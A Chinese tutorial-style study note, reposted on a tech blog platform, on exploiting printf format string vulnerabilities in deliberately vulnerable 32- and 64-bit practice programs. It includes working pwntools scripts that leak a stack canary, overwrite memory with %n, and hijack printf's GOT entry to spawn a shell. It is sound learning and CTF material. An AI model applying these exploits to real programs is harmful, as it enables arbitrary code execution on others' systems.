【读者投稿】格式化字符串漏洞读书笔记

新媒体管家

复现蒸米师傅Memory Leak & DynELF失败,所以留个坑(惨)


预备知识

关于printf()可以参考

https://www.cnblogs.com/phinecos/archive/2007/08/24/868524.html

里面讲了简单的printf()实现。这里讲的除了x86-64里的pwn之外的都是32位。

printf( arg0, arg1,... )函数的参数是从右往左入栈,这样就弹出来的第一个参数就是最左边的参数(arg0)。而且参数的个数是不定的。他的实现大概是这样的:

将第一个参数中的字符一个一个打印到屏幕上,如果碰到"%"这个字符,就根据计数器n去寻找参数n并且计数器加一,打印完参数n后继续打印第一参数接下来的字符。

使用printf"读"

当参数个数小于字符串中"%"的个数的时候(这里要排除掉%%),就会产生越界。我们现在可以读取栈上的内容了。这里有4个%号,但是参数却只有两个。%和参数不匹配,导致读取打印了栈上的内容。

#include <stdio.h>
int main(void)
{
    int a=1;
    char *str="test";
    printf("%s %d %x %x\n",str,a);
    return 0;
}

泄漏canary值

对于test.c,我们只要获取到canary的值ret到exploit()函数即可。

/* test.c */
#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

编译如下:

gcc -m32 -O0 test.c -o test -no-pie -fstack-protector-all 
gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

使用gdb跟踪调试,在输入处输入aaaa。随后可得知canary在栈上的位置。

我们再运行到printf处,计算出canary的值跟栈顶相差15个参数分(从零开始),我们只要构造%08x * 15。也有更简单的表达.

关于payload中的"$"符号的意思是选择第15个参数.可以参考

https://en.wikipedia.org/wiki/Printf_format_string

from pwn import *
elf = ELF("./test")
io = process("./test")
shell_addr = elf.symbols["exploit"]
payload = "%15$08x"
io.sendline(payload)
ret = io.recv()
canary = ret[:8]
log.success("canary => 0x{}".format(canary))
payload = "a" * 4 * 8
payload += (canary.decode("hex"))[::-1]
payload += "a" * 4 * 3
payload += p32(shell_addr)
io.send(payload)
io.interactive()

使用printf"写"

我们先了解一下%n的作用->把前面已经打印的长度写入某个内存地址。

/* Ex1 */
#include <stdio.h>
int main(void)
{
    int num=66666666;
    printf("Before: num = %d\n", num);
    printf("%d%n\n", num, &num);
    printf("After: num = %d\n", num);
    return 0;
}
/* Ex1 */
Before: num = 66666666
66666666
After: num = 8
/* Ex2 */
#include <stdio.h>
int main(void)
{
    int num=66666666;
    printf("Before: num = %d\n", num);
    printf("%.100d%n\n", num, &num);
    printf("After: num = %d\n", num);
    return 0;
}
/* Ex2 */
Before: num = 66666666
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 100

改变全局变量的值

已经知道了%n的作用,现在我们编译如下程序:

gcc -m32 -O0 b.c -o b -no-pie -fstack-protector-all 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0;

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv)
{
    char buf[128];
    memset(buf, 0, sizeof(buf));
    fgets(buf, 128, stdin);
    printf(buf);

    if (secret == 192)
    {
        give_shell();
    }
    else
    {
        printf("Sorry, secret = %d\n", secret);
    }
    return 0;
}

我们只需用printf函数把secret改成192即可。随便输入一些,在printf入口处下断点。观察栈的内容.

现在我们使用脚本可以读取到0xffffcbdc这个位置上,也就是第11个参数。而且这个是我们可控的。

from pwn import *
elf = ELF("./b")
io = process("./b")
payload = 'A' * 4
payload += '%p.' * 11
payload += '\n'
io.send(payload)
recved = io.recv()
print recved

此时我们再获得secert的地址。

代码如下,往第11个参数做指针的地方也就是secert写入192 + 4 。

from pwn import *
elf = ELF("./b")
io = process("./b")

secert = p32(0x804a038)
payload = secert
payload += '%192u%11$n' #%192u 写入的值,%11$n得到secert的地址
payload += '\n'

io.send(payload)
recved = io.recv()
recved2 = io.recv()
print recved
print recved2
io.interactive()

发发现多了4个字节,把192 改成 188 即可。运行如下:

x86-64

感谢7o8v提供的题目以及exp。pwn链接: https://pan.baidu.com/s/1kVl7cAr 密码: qfpr

不是作者就只能讲讲原理:

首先构造payload把puts函数的地址写入栈内,然后通过printf将这个地址打印出来,再通过偏移量计算出system地址。随后的payload将got表中的printf函数替换成system函数。下次调用printf就成了调用system函数,传入'/bin/sh\0'。注意64位和32位的传参是不同的,先用寄存器传参,寄存器不够用才会放到栈上。参数先在寄存器rdi rsi rdx rcx r8 r9放入,再放在栈上。漏洞在如图位置:

from pwn import *

io = process('./pwn_std')
context(log_level='debug')
elf = ELF('./pwn_std')
offset_put_pri = 0x7ffff7aa2f60 - 0x7ffff7a89160
offset_pri_sys = 0x7ffff7a89160 - 0x7ffff7a79450
got_printf = elf.got['printf']
got_puts = elf.got['puts']

def leak(addr):
    io.recvuntil('tang')
    io.sendline('5')
    io.recvuntil('go?')
    io.sendline('6602')
    io.recvuntil('to us')
    payload = '%9$s' +'\x00\x00\x00\x00'+p64(addr)
    io.sendline(payload)
    io.recvuntil('is:')
    dest = io.recvn(8)
    log.info('LeakedAddr:'+hex(u64(dest)))
    return dest

puts = leak(got_puts)
printf = u64(puts)-offset_put_pri
system = printf - offset_pri_sys
log.info('printf:'+hex(printf)+'   system:'+hex(system))

system_1 = system%(256*256)
system_2 = system%(256*256*256)/(256*256)
void = 0x10000-system_1

payload = '%'+str(system_1)+'c%12$hn'+'%'+str(void+system_2)+'c%13$hhn'
payload += '\x00\x00\x00\x00\x00'
payload += p64(got_printf)+p64(got_printf+2)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline(payload)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline('/bin/sh\0')
io.interactive()

总结

虽然现在格式化字符串已经销声匿迹了,但是还是有学习的必要的。实际使用情况中应注意将参数和%配对。这几年提出的保护大多是为了封杀栈溢出,但是这些年栈溢出攻击并没有销声匿迹,原因恐怕就是编程人员的不当操作,而且函数封装也加大了编程人员对函数的理解。--个人见解,欢迎纠正。

格式化字符串还有很多用法,这里只是介绍了比较简单的。可以进行下一步:格式化字符串漏洞利用小结(一)

http://bobao.360.cn/learning/detail/3654.html

抄袭资料 : )

跟我入坑PWN第二章

http://bobao.360.cn/learning/detail/3339.html

格式化字符串漏洞

http://yunnigu.dropsec.xyz/2016/10/10/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-09-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逍遥剑客的游戏开发

C++的反射和序列化

17720
来自专栏iOS技术杂谈

iOS runtime探究(五): 从runtime开始深入weak实现机理你要知道的runtime都在这里

你要知道的runtime都在这里 转载请注明出处 https://cloud.tencent.com/developer/user/1605429 本文主要讲解...

36160
来自专栏抠抠空间

ECMAScript简介以及es6新增语法

9600
来自专栏Linyb极客之路

编码习惯之接口定义

工作中,少不了要定义各种接口,系统集成要定义接口,前后台掉调用也要定义接口。接口定义一定程度上能反应程序员的编程功底。列举一下工作中我发现大家容易出现的问题:

10730
来自专栏FD的专栏

写出形似QML的C++代码

我的第一个想法(居然?)是做个Embedded-DSL。不过C++又不是Ruby……随便搜了一下,发现了一篇文章,也只是利用了重载运算符和运算符优先级,看上去限...

6920
来自专栏君赏技术博客

Object-C中的黑魔法

在Swift中存在Option类型,也就是使用?和!声明的变量。但是OC里面没有这个特征,因为在XCODE6.3之后出现新的关键词定义用于OC转SWIFT时候可...

19310
来自专栏JMCui

Swagger文档转Word 文档

GitHub 地址:https://github.com/JMCuixy/SwaggerToWord/tree/developer 一、前言     为什么会产...

73880
来自专栏Vamei实验室

纸上谈兵: 哈希表 (hash table)

HASH 哈希表(hash table)是从一个集合A到另一个集合B的映射(mapping)。映射是一种对应关系,而且集合A的某个元素只能对应集合B中的一个元素...

224100
来自专栏北京马哥教育

十分钟完成Bash 脚本进阶!列举Bash经典用法及其案例

前言:在linux中,Bash脚本是很基础的知识,大家可能一听脚本感觉很高大上,像小编当初刚开始学一样,感觉会写脚本的都是大神。虽然复杂的脚本是很烧脑,但是,当...

15930
来自专栏逆向技术

win32编程简介

  我们要编写windos程序.都离不开API. 也就是我们所说的win32程序. 所以学好win32是你能不能再windows下编写程序的基础.

30330

扫码关注云+社区

领取腾讯云代金券